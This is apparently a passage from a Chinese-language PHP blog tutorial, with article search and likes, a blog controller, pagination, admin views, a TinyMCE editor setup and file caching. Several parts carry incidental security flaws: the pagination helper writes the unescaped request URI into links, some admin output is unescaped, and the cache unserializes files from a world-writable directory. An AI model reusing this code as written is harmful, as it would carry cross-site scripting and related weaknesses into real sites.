    public function searchArticles($keyword, $page = 1, $limit = 10) {
        $offset = ($page - 1) * $limit;

        // 使用全文搜索
        $sql = "SELECT a.*, u.username as author_name,
                       MATCH(a.title, a.content) AGAINST(?) as score
                FROM articles a
                LEFT JOIN users u ON a.author_id = u.id
                WHERE a.status = 'published'
                AND MATCH(a.title, a.content) AGAINST(? IN NATURAL LANGUAGE MODE)
                ORDER BY score DESC, a.published_at DESC
                LIMIT ? OFFSET ?";

        $stmt = $this->db->prepare($sql);
        $stmt->execute([$keyword, $keyword, $limit, $offset]);

        return $stmt->fetchAll();
    }

    // 获取搜索结果总数
    public function getSearchCount($keyword) {
        $sql = "SELECT COUNT(*) as count
                FROM articles a
                WHERE a.status = 'published'
                AND MATCH(a.title, a.content) AGAINST(? IN NATURAL LANGUAGE MODE)";

        $stmt = $this->db->prepare($sql);
        $stmt->execute([$keyword]);

        return $stmt->fetch()['count'];
    }

    // 增加阅读量
    public function incrementViewCount($id) {
        $sql = "UPDATE articles SET view_count = view_count + 1 WHERE id = ?";
        $stmt = $this->db->prepare($sql);
        return $stmt->execute([$id]);
    }

    // 点赞/取消点赞
    public function toggleLike($articleId, $userId) {
        // 检查是否已经点赞
        $sql = "SELECT * FROM article_likes WHERE article_id = ? AND user_id = ?";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([$articleId, $userId]);

        if ($stmt->fetch()) {
            // 取消点赞
            $this->db->prepare("DELETE FROM article_likes WHERE article_id = ? AND user_id = ?")
                 ->execute([$articleId, $userId]);

            $this->db->prepare("UPDATE articles SET like_count = like_count - 1 WHERE id = ?")
                 ->execute([$articleId]);

            return false;
        } else {
            // 添加点赞
            $this->db->prepare("INSERT INTO article_likes (article_id, user_id, created_at) VALUES (?, ?, NOW())")
                 ->execute([$articleId, $userId]);

            $this->db->prepare("UPDATE articles SET like_count = like_count + 1 WHERE id = ?")
                 ->execute([$articleId]);

            return true;
        }
    }

    // 生成唯一的slug
    private function generateUniqueSlug($title, $id = null) {
        $slug = $this->createSlug($title);
        $originalSlug = $slug;
        $count = 1;

        // 检查slug是否唯一
        while (true) {
            $sql = "SELECT id FROM articles WHERE slug = ?";
            $params = [$slug];

            if ($id) {
                $sql .= " AND id != ?";
                $params[] = $id;
            }

            $stmt = $this->db->prepare($sql);
            $stmt->execute($params);

            if (!$stmt->fetch()) {
                return $slug;
            }

            $slug = $originalSlug . '-' . $count;
            $count++;
        }
    }

    // 创建slug
    private function createSlug($string) {
        // 转换为小写
        $string = strtolower($string);

        // 替换特殊字符
        $string = preg_replace('/[^a-z0-9\s-]/', '', $string);

        // 替换多个空格为单个连字符
        $string = preg_replace('/[\s-]+/', '-', $string);

        // 删除首尾的连字符
        return trim($string, '-');
    }

    // 保存文章分类
    private function saveArticleCategories($articleId, $categories) {
        // 删除现有的分类关联
        $this->db->prepare("DELETE FROM article_categories WHERE article_id = ?")
             ->execute([$articleId]);

        // 添加新的分类关联
        $sql = "INSERT INTO article_categories (article_id, category_id, created_at) VALUES (?, ?, NOW())";
        $stmt = $this->db->prepare($sql);

        foreach ($categories as $categoryId) {
            $stmt->execute([$articleId, $categoryId]);
        }
    }

    // 保存文章标签
    private function saveArticleTags($articleId, $tags) {
        // 删除现有的标签关联
        $this->db->prepare("DELETE FROM article_tags WHERE article_id = ?")
             ->execute([$articleId]);

        // 添加新的标签关联
        $sql = "INSERT INTO article_tags (article_id, tag_id, created_at) VALUES (?, ?, NOW())";
        $stmt = $this->db->prepare($sql);

        foreach ($tags as $tagId) {
            $stmt->execute([$articleId, $tagId]);
        }
    }
}

2. 博客控制器 (src/controllers/BlogController.php)

<?php
require_once 'BaseController.php';
require_once __DIR__ . '/../models/Blog.php';
require_once __DIR__ . '/../models/Category.php';
require_once __DIR__ . '/../models/Tag.php';
require_once __DIR__ . '/../models/Comment.php';
require_once __DIR__ . '/../helpers/Pagination.php';

class BlogController extends BaseController {
    private $blog;
    private $category;
    private $tag;
    private $comment;

    public function __construct() {
        parent::__construct();
        $this->blog = new Blog();
        $this->category = new Category();
        $this->tag = new Tag();
        $this->comment = new Comment();
    }

    // 首页 - 文章列表
    public function index() {
        $page = $this->getGet('page', 1);
        $category = $this->getGet('category');
        $tag = $this->getGet('tag');

        $articles = $this->blog->getArticles($page, 10, $category, $tag);
        $totalArticles = $this->blog->getArticlesCount($category, $tag);

        $pagination = new Pagination($totalArticles, $page, 10, 5);
        $pagination->setUrl($_SERVER['REQUEST_URI']);

        $this->render('blog/index.php', [
            'articles' => $articles,
            'pagination' => $pagination,
            'categories' => $this->category->getAll(),
            'popularTags' => $this->tag->getPopular(10)
        ]);
    }

    // 文章详情
    public function article() {
        $slug = $this->getGet('slug');

        if (!$slug) {
            $this->render404();
        }

        $article = $this->blog->getArticleBySlug($slug);

        if (!$article) {
            $this->render404();
        }

        // 增加阅读量
        $this->blog->incrementViewCount($article['id']);

        // 获取评论
        $comments = $this->comment->getApprovedComments($article['id']);
        $relatedArticles = $this->getRelatedArticles($article);

        $this->render('blog/article.php', [
            'article' => $article,
            'comments' => $comments,
            'relatedArticles' => $relatedArticles
        ]);
    }

    // 分类页面
    public function category() {
        $slug = $this->getGet('slug');
        $page = $this->getGet('page', 1);

        $category = $this->category->getBySlug($slug);
        if (!$category) {
            $this->render404();
        }

        $articles = $this->blog->getArticles($page, 10, $category['id']);
        $totalArticles = $this->blog->getArticlesCount($category['id']);

        $pagination = new Pagination($totalArticles, $page, 10);
        $pagination->setUrl($_SERVER['REQUEST_URI']);

        $this->render('blog/category.php', [
            'category' => $category,
            'articles' => $articles,
            'pagination' => $pagination
        ]);
    }

    // 标签页面
    public function tag() {
        $slug = $this->getGet('slug');
        $page = $this->getGet('page', 1);

        $tag = $this->tag->getBySlug($slug);
        if (!$tag) {
            $this->render404();
        }

        $articles = $this->blog->getArticles($page, 10, null, $tag['id']);
        $totalArticles = $this->blog->getArticlesCount(null, $tag['id']);

        $pagination = new Pagination($totalArticles, $page, 10);
        $pagination->setUrl($_SERVER['REQUEST_URI']);

        $this->render('blog/tag.php', [
            'tag' => $tag,
            'articles' => $articles,
            'pagination' => $pagination
        ]);
    }

    // 搜索页面
    public function search() {
        $keyword = trim($this->getGet('q'));
        $page = $this->getGet('page', 1);

        if (!$keyword) {
            $this->redirect('index.php');
        }

        $articles = $this->blog->searchArticles($keyword, $page, 10);
        $totalResults = $this->blog->getSearchCount($keyword);

        $pagination = new Pagination($totalResults, $page, 10);
        $pagination->setUrl($_SERVER['REQUEST_URI']);

        $this->render('blog/search.php', [
            'keyword' => $keyword,
            'articles' => $articles,
            'totalResults' => $totalResults,
            'pagination' => $pagination
        ]);
    }

    // 提交评论
    public function submitComment() {
        if (!$this->isPost()) {
            $this->json(['success' => false, 'message' => '无效的请求']);
        }

        $articleId = $this->getPost('article_id');
        $parentId = $this->getPost('parent_id');
        $content = trim($this->getPost('content'));
        $authorName = trim($this->getPost('author_name'));
        $authorEmail = trim($this->getPost('author_email'));

        // 验证数据
        if (!$articleId || !$content) {
            $this->json(['success' => false, 'message' => '请填写必填字段']);
        }

        if (!$authorName || !$authorEmail) {
            $this->json(['success' => false, 'message' => '请填写姓名和邮箱']);
        }

        if (!filter_var($authorEmail, FILTER_VALIDATE_EMAIL)) {
            $this->json(['success' => false, 'message' => '邮箱格式错误']);
        }

        // 检查文章是否存在
        if (!$this->blog->getArticleById($articleId)) {
            $this->json(['success' => false, 'message' => '文章不存在']);
        }

        // 防止重复提交
        if (isset($_SESSION['last_comment_time']) && time() - $_SESSION['last_comment_time'] < 10) {
            $this->json(['success' => false, 'message' => '请稍后再试']);
        }

        // 验证码验证(如果需要)
        if (isset($_POST['captcha'])) {
            if (!$this->validateCaptcha($_POST['captcha'])) {
                $this->json(['success' => false, 'message' => '验证码错误']);
            }
        }

        // 提交评论
        $commentId = $this->comment->create([
            'article_id' => $articleId,
            'user_id' => $this->getSession('user_id'),
            'parent_id' => $parentId ?: null,
            'author_name' => $authorName,
            'author_email' => $authorEmail,
            'content' => $content,
            'author_ip' => $_SERVER['REMOTE_ADDR'],
            'status' => 'pending' // 评论需要审核
        ]);

        if ($commentId) {
            $_SESSION['last_comment_time'] = time();
            $this->json([
                'success' => true,
                'message' => '评论提交成功,等待审核'
            ]);
        } else {
            $this->json(['success' => false, 'message' => '评论提交失败']);
        }
    }

    // AJAX点赞
    public function like() {
        if (!$this->isPost()) {
            $this->json(['success' => false, 'message' => '无效的请求']);
        }

        $articleId = $this->getPost('article_id');
        $userId = $this->getSession('user_id');

        if (!$articleId) {
            $this->json(['success' => false, 'message' => '参数错误']);
        }

        if (!$userId) {
            $this->json(['success' => false, 'message' => '请先登录']);
        }

        $isLiked = $this->blog->toggleLike($articleId, $userId);
        $article = $this->blog->getArticleById($articleId);

        $this->json([
            'success' => true,
            'liked' => $isLiked,
            'likeCount' => $article['like_count'] ?? 0
        ]);
    }

    // 获取相关文章
    private function getRelatedArticles($article, $limit = 4) {
        // 基于标签查找相关文章
        $tagIds = array_keys($article['tags']);
        if (empty($tagIds)) {
            return [];
        }

        $placeholders = implode(',', array_fill(0, count($tagIds), '?'));
        $sql = "SELECT DISTINCT a.id, a.title, a.slug, a.excerpt, a.featured_image,
                       a.published_at, a.view_count
                FROM articles a
                LEFT JOIN article_tags at ON a.id = at.article_id
                WHERE a.id != ? AND a.status = 'published'
                AND at.tag_id IN ({$placeholders})
                ORDER BY a.published_at DESC
                LIMIT ?";

        $params = array_merge([$article['id']], $tagIds, [$limit]);
        $stmt = $this->db->prepare($sql);
        $stmt->execute($params);

        return $stmt->fetchAll();
    }

    // 验证码验证
    private function validateCaptcha($captcha) {
        // 简单的验证码验证
        // 实际项目中可以使用 reCAPTCHA
        if (isset($_SESSION['captcha'])) {
            return hash_equals($_SESSION['captcha'], $captcha);
        }
        return true;
    }

    // 404页面
    private function render404() {
        header('HTTP/1.0 404 Not Found');
        $this->render('blog/404.php');
        exit;
    }
}

3. 分页助手 (src/helpers/Pagination.php)

<?php
class Pagination {
    private $totalItems;
    private $currentPage;
    private $itemsPerPage;
    private $maxVisiblePages;
    private $url;
    private $totalPages;

    public function __construct($totalItems, $currentPage = 1, $itemsPerPage = 10, $maxVisiblePages = 7) {
        $this->totalItems = $totalItems;
        $this->currentPage = max(1, $currentPage);
        $this->itemsPerPage = $itemsPerPage;
        $this->maxVisiblePages = $maxVisiblePages;
        $this->totalPages = ceil($totalItems / $itemsPerPage);
    }

    public function setUrl($url) {
        // 移除现有的分页参数
        $url = preg_replace('/[?&]page=\d+/', '', $url);

        // 添加分隔符
        $separator = (strpos($url, '?') === false) ? '?' : '&';
        $this->url = $url . $separator . 'page=';
    }

    public function createLinks() {
        if ($this->totalPages <= 1) {
            return '';
        }

        $links = '<nav aria-label="Page navigation"><ul class="pagination justify-content-center">';

        // 上一页
        if ($this->currentPage > 1) {
            $links .= '<li class="page-item"><a class="page-link" href="' . $this->url . ($this->currentPage - 1) . '">上一页</a></li>';
        } else {
            $links .= '<li class="page-item disabled"><span class="page-link">上一页</span></li>';
        }

        // 页码
        $startPage = max(1, $this->currentPage - floor($this->maxVisiblePages / 2));
        $endPage = min($this->totalPages, $startPage + $this->maxVisiblePages - 1);

        // 调整开始页
        if ($endPage - $startPage < $this->maxVisiblePages - 1) {
            $startPage = max(1, $endPage - $this->maxVisiblePages + 1);
        }

        // 第一页
        if ($startPage > 1) {
            $links .= '<li class="page-item"><a class="page-link" href="' . $this->url . '1">1</a></li>';
            if ($startPage > 2) {
                $links .= '<li class="page-item disabled"><span class="page-link">...</span></li>';
            }
        }

        // 中间页码
        for ($i = $startPage; $i <= $endPage; $i++) {
            if ($i == $this->currentPage) {
                $links .= '<li class="page-item active"><span class="page-link">' . $i . '</span></li>';
            } else {
                $links .= '<li class="page-item"><a class="page-link" href="' . $this->url . $i . '">' . $i . '</a></li>';
            }
        }

        // 最后一页
        if ($endPage < $this->totalPages) {
            if ($endPage < $this->totalPages - 1) {
                $links .= '<li class="page-item disabled"><span class="page-link">...</span></li>';
            }
            $links .= '<li class="page-item"><a class="page-link" href="' . $this->url . $this->totalPages . '">' . $this->totalPages . '</a></li>';
        }

        // 下一页
        if ($this->currentPage < $this->totalPages) {
            $links .= '<li class="page-item"><a class="page-link" href="' . $this->url . ($this->currentPage + 1) . '">下一页</a></li>';
        } else {
            $links .= '<li class="page-item disabled"><span class="page-link">下一页</span></li>';
        }

        $links .= '</ul></nav>';

        return $links;
    }

    public function getInfo() {
        $start = ($this->currentPage - 1) * $this->itemsPerPage + 1;
        $end = min($this->totalItems, $start + $this->itemsPerPage - 1);

        return [
            'total' => $this->totalItems,
            'current' => $this->currentPage,
            'start' => $this->totalItems > 0 ? $start : 0,
            'end' => $end,
            'pages' => $this->totalPages,
            'items_per_page' => $this->itemsPerPage
        ];
    }
}

4. 文章管理视图示例 (src/views/admin/articles.php)

<div class="container-fluid">
    <div class="row">
        <div class="col-12">
            <div class="card">
                <div class="card-header d-flex justify-content-between align-items-center">
                    <h5 class="mb-0">文章管理</h5>
                    <a href="article-edit.php" class="btn btn-primary">
                        <i class="fas fa-plus"></i> 新建文章
                    </a>
                </div>
                <div class="card-body">
                    <!-- 搜索和筛选 -->
                    <div class="row mb-3">
                        <div class="col-md-6">
                            <div class="input-group">
                                <input type="text" class="form-control" id="searchInput" placeholder="搜索文章...">
                                <button class="btn btn-outline-secondary" type="button" id="searchBtn">
                                    <i class="fas fa-search"></i>
                                </button>
                            </div>
                        </div>
                        <div class="col-md-3">
                            <select class="form-select" id="statusFilter">
                                <option value="">所有状态</option>
                                <option value="published">已发布</option>
                                <option value="draft">草稿</option>
                                <option value="trash">回收站</option>
                            </select>
                        </div>
                        <div class="col-md-3">
                            <select class="form-select" id="categoryFilter">
                                <option value="">所有分类</option>
                                <?php foreach ($categories as $category): ?>
                                    <option value="<?php echo $category['id']; ?>">
                                        <?php echo htmlspecialchars($category['name']); ?>
                                    </option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                    </div>

                    <!-- 文章表格 -->
                    <div class="table-responsive">
                        <table class="table table-hover">
                            <thead>
                                <tr>
                                    <th><input type="checkbox" id="selectAll"></th>
                                    <th>标题</th>
                                    <th>作者</th>
                                    <th>分类</th>
                                    <th>状态</th>
                                    <th>发布时间</th>
                                    <th>阅读量</th>
                                    <th>操作</th>
                                </tr>
                            </thead>
                            <tbody id="articlesTable">
                                <?php foreach ($articles as $article): ?>
                                    <tr>
                                        <td><input type="checkbox" name="article_ids[]" value="<?php echo $article['id']; ?>"></td>
                                        <td>
                                            <a href="article-edit.php?id=<?php echo $article['id']; ?>">
                                                <?php echo htmlspecialchars($article['title']); ?>
                                            </a>
                                            <?php if ($article['is_featured']): ?>
                                                <span class="badge bg-warning">推荐</span>
                                            <?php endif; ?>
                                        </td>
                                        <td><?php echo htmlspecialchars($article['author_name']); ?></td>
                                        <td><?php echo $article['categories']; ?></td>
                                        <td>
                                            <?php
                                            $statusClass = [
                                                'draft' => 'secondary',
                                                'published' => 'success',
                                                'trash' => 'danger'
                                            ];
                                            $statusText = [
                                                'draft' => '草稿',
                                                'published' => '已发布',
                                                'trash' => '回收站'
                                            ];
                                            ?>
                                            <span class="badge bg-<?php echo $statusClass[$article['status']]; ?>">
                                                <?php echo $statusText[$article['status']]; ?>
                                            </span>
                                        </td>
                                        <td><?php echo date('Y-m-d', strtotime($article['published_at'] ?? $article['created_at'])); ?></td>
                                        <td><?php echo number_format($article['view_count']); ?></td>
                                        <td>
                                            <div class="btn-group btn-group-sm">
                                                <a href="article-edit.php?id=<?php echo $article['id']; ?>"
                                                   class="btn btn-outline-primary">
                                                    <i class="fas fa-edit"></i>
                                                </a>
                                                <a href="article-view.php?id=<?php echo $article['id']; ?>"
                                                   class="btn btn-outline-info" target="_blank">
                                                    <i class="fas fa-eye"></i>
                                                </a>
                                                <button type="button" class="btn btn-outline-danger delete-btn"
                                                        data-id="<?php echo $article['id']; ?>">
                                                    <i class="fas fa-trash"></i>
                                                </button>
                                            </div>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>

                    <!-- 分页 -->
                    <?php echo $pagination->createLinks(); ?>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- 批量操作模态框 -->
<div class="modal fade" id="batchModal" tabindex="-1">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">批量操作</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <p>请选择要执行的操作:</p>
                <div class="d-grid gap-2">
                    <button type="button" class="btn btn-outline-primary" id="batchPublish">发布选中</button>
                    <button type="button" class="btn btn-outline-secondary" id="batchDraft">移至草稿</button>
                    <button type="button" class="btn btn-outline-danger" id="batchTrash">移至回收站</button>
                </div>
            </div>
        </div>
    </div>
</div>

<script>
document.addEventListener('DOMContentLoaded', function() {
    // 全选/取消全选
    const selectAll = document.getElementById('selectAll');
    const checkboxes = document.querySelectorAll('input[name="article_ids[]"]');

    selectAll?.addEventListener('change', function() {
        checkboxes.forEach(checkbox => {
            checkbox.checked = this.checked;
        });
    });

    // 搜索功能
    const searchBtn = document.getElementById('searchBtn');
    const searchInput = document.getElementById('searchInput');

    function performSearch() {
        const keyword = searchInput.value;
        const status = document.getElementById('statusFilter').value;
        const category = document.getElementById('categoryFilter').value;

        const params = new URLSearchParams();
        if (keyword) params.append('search', keyword);
        if (status) params.append('status', status);
        if (category) params.append('category', category);

        window.location.href = 'articles.php?' + params.toString();
    }

    searchBtn?.addEventListener('click', performSearch);
    searchInput?.addEventListener('keypress', function(e) {
        if (e.key === 'Enter') {
            performSearch();
        }
    });

    // 状态和分类筛选
    document.getElementById('statusFilter')?.addEventListener('change', performSearch);
    document.getElementById('categoryFilter')?.addEventListener('change', performSearch);

    // 删除按钮
    document.querySelectorAll('.delete-btn').forEach(btn => {
        btn.addEventListener('click', function() {
            const articleId = this.dataset.id;
            if (confirm('确定要删除这篇文章吗?')) {
                fetch('api/article-delete.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({ id: articleId })
                })
                .then(response => response.json())
                .then(data => {
                    if (data.success) {
                        location.reload();
                    } else {
                        alert('删除失败:' + data.message);
                    }
                });
            }
        });
    });
});
</script>

5. 富文本编辑器集成

编辑器配置 (public/js/editor.js)

// 使用TinyMCE富文本编辑器
tinymce.init({
    selector: '#content',
    height: 500,
    theme: 'silver',
    language: 'zh_CN',
    plugins: [
        'advlist', 'autolink', 'lists', 'link', 'image', 'charmap', 'preview',
        'anchor', 'searchreplace', 'visualblocks', 'code', 'fullscreen',
        'insertdatetime', 'media', 'table', 'help', 'wordcount',
        'codesample', 'emoticons'
    ],
    toolbar: 'undo redo | formatselect | bold italic | alignleft aligncenter alignright alignjustify | ' +
             'bullist numlist outdent indent | link image | preview media | ' +
             'forecolor backcolor emoticons | help codesample',
    menubar: 'file edit view insert format tools table help',
    content_style: `
        body { font-family: Arial, sans-serif; font-size: 14px; }
        img { max-width: 100%; height: auto; }
        pre { background: #f4f4f4; border: 1px solid #ddd; padding: 10px; border-radius: 4px; }
        code { background: #f4f4f4; padding: 2px 4px; border-radius: 2px; }
    `,
    image_advtab: true,
    image_uploadtab: true,
    automatic_uploads: true,
    images_upload_url: 'api/upload-image.php',
    images_upload_handler: function(blobInfo, success, failure) {
        const xhr = new XMLHttpRequest();
        xhr.withCredentials = false;
        xhr.open('POST', 'api/upload-image.php');
        xhr.onload = function() {
            if (xhr.status === 200) {
                const json = JSON.parse(xhr.responseText);
                success(json.location);
            } else {
                failure('Image upload failed: ' + xhr.statusText);
            }
        };
        xhr.send(blobInfo.blob());
    },
    // 自定义样式
    style_formats: [
        {title: 'Heading 2', block: 'h2', classes: 'text-primary'},
        {title: 'Heading 3', block: 'h3', classes: 'text-secondary'},
        {title: 'Button', inline: 'span', classes: 'btn btn-primary'},
        {title: 'Badge', inline: 'span', classes: 'badge bg-primary'}
    ]
});

// 字数统计
function updateWordCount() {
    const content = tinymce.get('content').getContent();
    const plainText = content.replace(/<[^>]*>/g, '').replace(/\s+/g, ' ').trim();
    const wordCount = plainText ? plainText.split(' ').length : 0;
    document.getElementById('wordCount').textContent = wordCount + ' 字';
}

// 自动保存功能
let autoSaveTimer;
function startAutoSave() {
    if (autoSaveTimer) {
        clearInterval(autoSaveTimer);
    }

    autoSaveTimer = setInterval(function() {
        saveDraft();
    }, 30000); // 30秒自动保存一次
}

// 保存草稿
function saveDraft() {
    const content = tinymce.get('content').getContent();
    const title = document.getElementById('title').value;

    if (!title || !content) return;

    fetch('api/save-draft.php', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            title: title,
            content: content,
            id: document.getElementById('article_id')?.value
        })
    })
    .then(response => response.json())
    .then(data => {
        if (data.success) {
            document.getElementById('saveStatus').textContent = '已自动保存';
            setTimeout(() => {
                document.getElementById('saveStatus').textContent = '';
            }, 3000);
        }
    });
}

后台管理系统

管理员仪表板 (src/views/admin/dashboard.php)

<div class="container-fluid">
    <!-- 统计卡片 -->
    <div class="row mb-4">
        <div class="col-xl-3 col-md-6 mb-4">
            <div class="card border-left-primary shadow h-100 py-2">
                <div class="card-body">
                    <div class="row no-gutters align-items-center">
                        <div class="col mr-2">
                            <div class="text-xs font-weight-bold text-primary text-uppercase mb-1">
                                总文章数
                            </div>
                            <div class="h5 mb-0 font-weight-bold text-gray-800">
                                <?php echo $stats['total_articles']; ?>
                            </div>
                        </div>
                        <div class="col-auto">
                            <i class="fas fa-file-alt fa-2x text-gray-300"></i>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <div class="col-xl-3 col-md-6 mb-4">
            <div class="card border-left-success shadow h-100 py-2">
                <div class="card-body">
                    <div class="row no-gutters align-items-center">
                        <div class="col mr-2">
                            <div class="text-xs font-weight-bold text-success text-uppercase mb-1">
                                已发布
                            </div>
                            <div class="h5 mb-0 font-weight-bold text-gray-800">
                                <?php echo $stats['published_articles']; ?>
                            </div>
                        </div>
                        <div class="col-auto">
                            <i class="fas fa-check-circle fa-2x text-gray-300"></i>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <div class="col-xl-3 col-md-6 mb-4">
            <div class="card border-left-info shadow h-100 py-2">
                <div class="card-body">
                    <div class="row no-gutters align-items-center">
                        <div class="col mr-2">
                            <div class="text-xs font-weight-bold text-info text-uppercase mb-1">
                                总评论数
                            </div>
                            <div class="h5 mb-0 font-weight-bold text-gray-800">
                                <?php echo $stats['total_comments']; ?>
                            </div>
                        </div>
                        <div class="col-auto">
                            <i class="fas fa-comments fa-2x text-gray-300"></i>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <div class="col-xl-3 col-md-6 mb-4">
            <div class="card border-left-warning shadow h-100 py-2">
                <div class="card-body">
                    <div class="row no-gutters align-items-center">
                        <div class="col mr-2">
                            <div class="text-xs font-weight-bold text-warning text-uppercase mb-1">
                                总用户数
                            </div>
                            <div class="h5 mb-0 font-weight-bold text-gray-800">
                                <?php echo $stats['total_users']; ?>
                            </div>
                        </div>
                        <div class="col-auto">
                            <i class="fas fa-users fa-2x text-gray-300"></i>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- 图表区域 -->
    <div class="row mb-4">
        <div class="col-xl-8 col-lg-7">
            <div class="card shadow mb-4">
                <div class="card-header py-3 d-flex flex-row align-items-center justify-content-between">
                    <h6 class="m-0 font-weight-bold text-primary">文章发布趋势</h6>
                </div>
                <div class="card-body">
                    <div class="chart-area">
                        <canvas id="articleChart"></canvas>
                    </div>
                </div>
            </div>
        </div>

        <div class="col-xl-4 col-lg-5">
            <div class="card shadow mb-4">
                <div class="card-header py-3">
                    <h6 class="m-0 font-weight-bold text-primary">文章分类分布</h6>
                </div>
                <div class="card-body">
                    <div class="chart-pie pt-4 pb-2">
                        <canvas id="categoryChart"></canvas>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- 最近文章和评论 -->
    <div class="row">
        <div class="col-lg-6 mb-4">
            <div class="card shadow">
                <div class="card-header py-3">
                    <h6 class="m-0 font-weight-bold text-primary">最近文章</h6>
                </div>
                <div class="card-body">
                    <div class="table-responsive">
                        <table class="table table-sm">
                            <thead>
                                <tr>
                                    <th>标题</th>
                                    <th>作者</th>
                                    <th>状态</th>
                                    <th>时间</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php foreach ($recentArticles as $article): ?>
                                    <tr>
                                        <td>
                                            <a href="article-edit.php?id=<?php echo $article['id']; ?>">
                                                <?php echo htmlspecialchars(substr($article['title'], 0, 30)); ?>...
                                            </a>
                                        </td>
                                        <td><?php echo htmlspecialchars($article['author_name']); ?></td>
                                        <td>
                                            <span class="badge bg-<?php echo $article['status'] === 'published' ? 'success' : 'secondary'; ?>">
                                                <?php echo $article['status']; ?>
                                            </span>
                                        </td>
                                        <td><?php echo date('m-d', strtotime($article['created_at'])); ?></td>
                                    </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>

        <div class="col-lg-6 mb-4">
            <div class="card shadow">
                <div class="card-header py-3">
                    <h6 class="m-0 font-weight-bold text-primary">待审核评论</h6>
                </div>
                <div class="card-body">
                    <?php foreach ($pendingComments as $comment): ?>
                        <div class="mb-3 p-3 border rounded">
                            <div class="d-flex justify-content-between">
                                <strong><?php echo htmlspecialchars($comment['author_name']); ?></strong>
                                <small class="text-muted"><?php echo date('m-d H:i', strtotime($comment['created_at'])); ?></small>
                            </div>
                            <p class="mb-2"><?php echo htmlspecialchars(substr($comment['content'], 0, 100)); ?>...</p>
                            <div class="d-flex gap-2">
                                <a href="comment-edit.php?id=<?php echo $comment['id']; ?>" class="btn btn-sm btn-outline-primary">审核</a>
                                <a href="#" class="btn btn-sm btn-outline-danger delete-comment" data-id="<?php echo $comment['id']; ?>">删除</a>
                            </div>
                        </div>
                    <?php endforeach; ?>

                    <?php if (empty($pendingComments)): ?>
                        <p class="text-muted">暂无待审核评论</p>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script>
// 文章发布趋势图
const articleCtx = document.getElementById('articleChart').getContext('2d');
new Chart(articleCtx, {
    type: 'line',
    data: {
        labels: <?php echo json_encode($stats['article_trend']['labels']); ?>,
        datasets: [{
            label: '文章数量',
            data: <?php echo json_encode($stats['article_trend']['data']); ?>,
            borderColor: 'rgb(75, 192, 192)',
            backgroundColor: 'rgba(75, 192, 192, 0.2)',
            tension: 0.1
        }]
    },
    options: {
        responsive: true,
        scales: {
            y: {
                beginAtZero: true
            }
        }
    }
});

// 分类分布饼图
const categoryCtx = document.getElementById('categoryChart').getContext('2d');
new Chart(categoryCtx, {
    type: 'doughnut',
    data: {
        labels: <?php echo json_encode($stats['category_distribution']['labels']); ?>,
        datasets: [{
            data: <?php echo json_encode($stats['category_distribution']['data']); ?>,
            backgroundColor: [
                '#4e73df',
                '#1cc88a',
                '#36b9cc',
                '#f6c23e',
                '#e74a3b',
                '#858796',
                '#5a5c69'
            ]
        }]
    },
    options: {
        responsive: true,
        plugins: {
            legend: {
                position: 'bottom'
            }
        }
    }
});
</script>

性能优化

1. 缓存实现 (src/helpers/Cache.php)

<?php
class Cache {
    private $cacheDir;
    private $defaultExpire = 3600; // 1小时

    public function __construct($cacheDir = 'cache/') {
        $this->cacheDir = $cacheDir;
        if (!is_dir($this->cacheDir)) {
            mkdir($this->cacheDir, 0777, true);
        }
    }

    // 设置缓存
    public function set($key, $data, $expire = null) {
        $expire = $expire ?? $this->defaultExpire;
        $filename = $this->getFilename($key);

        $cacheData = [
            'data' => $data,
            'expire' => time() + $expire,
            'created' => time()
        ];

        file_put_contents($filename, serialize($cacheData), LOCK_EX);
        return true;
    }

    // 获取缓存
    public function get($key) {
        $filename = $this->getFilename($key);

        if (!file_exists($filename)) {
            return null;
        }

        $cacheData = unserialize(file_get_contents($filename));

        if (time() > $cacheData['expire']) {
            unlink($filename);
            return null;
        }

        return $cacheData['data'];
    }

    // 删除缓存
    public function delete($key) {
        $filename = $this->getFilename($key);
        if (file_exists($filename)) {
            return unlink($filename);
        }
        return true;
    }

    // 清空所有缓存
    public function clear() {
        $files = glob($this->cacheDir . '*');
        foreach ($files as $file) {
            if (is_file($file)) {
                unlink($file);
            }
        }
    }

    // 生成缓存文件名
    private function getFilename($key) {
        return $this->cacheDir . md5($key) . '.cache';
    }

    // 缓存数据库查询结果
    public function remember($key, $callback, $expire = null) {
        $data = $this->get($key);

        if ($data === null) {
            $data = call_user_func($callback);
            $this->set($key, $data, $expire);
        }

        return $data;
    }
}

2. 使用示例

// 在控制器中使用缓存
$cache = new Cache();

// 缓存热门文章
$popularArticles = $cache->remember('popular_articles', function() use ($blog) {
    return $blog->getPopularArticles(5);
}, 1800); // 30分钟缓存

// 缓存分类列表
$categories = $cache->remember('categories', function() use ($category) {
    return $category->getAll();
}, 3600); // 1小时缓存

部署和测试

1. 功能测试清单

## 博客系统测试清单

### 文章管理
- [ ] 创建文章
- [ ] 编辑文章
- [ ] 删除文章
- [ ] 文章发布/草稿状态切换
- [ ] 特色文章设置
- [ ] SEO字段设置
- [ ] 富文本编辑器
- [ ] 图片上传功能

### 分类和标签
- [ ] 创建分类
- [ ] 编辑分类
- [ ] 删除分类
- [ ] 分类层级关系
- [ ] 创建标签
- [ ] 标签与文章关联

### 评论系统
- [ ] 提交评论
- [ ] 评论审核
- [ ] 评论回复
- [ ] 垃圾评论过滤

### 搜索功能
- [ ] 全文搜索
- [ ] 分类搜索
- [ ] 标签搜索
- [ ] 搜索结果分页

### 性能优化
- [ ] 页面加载速度
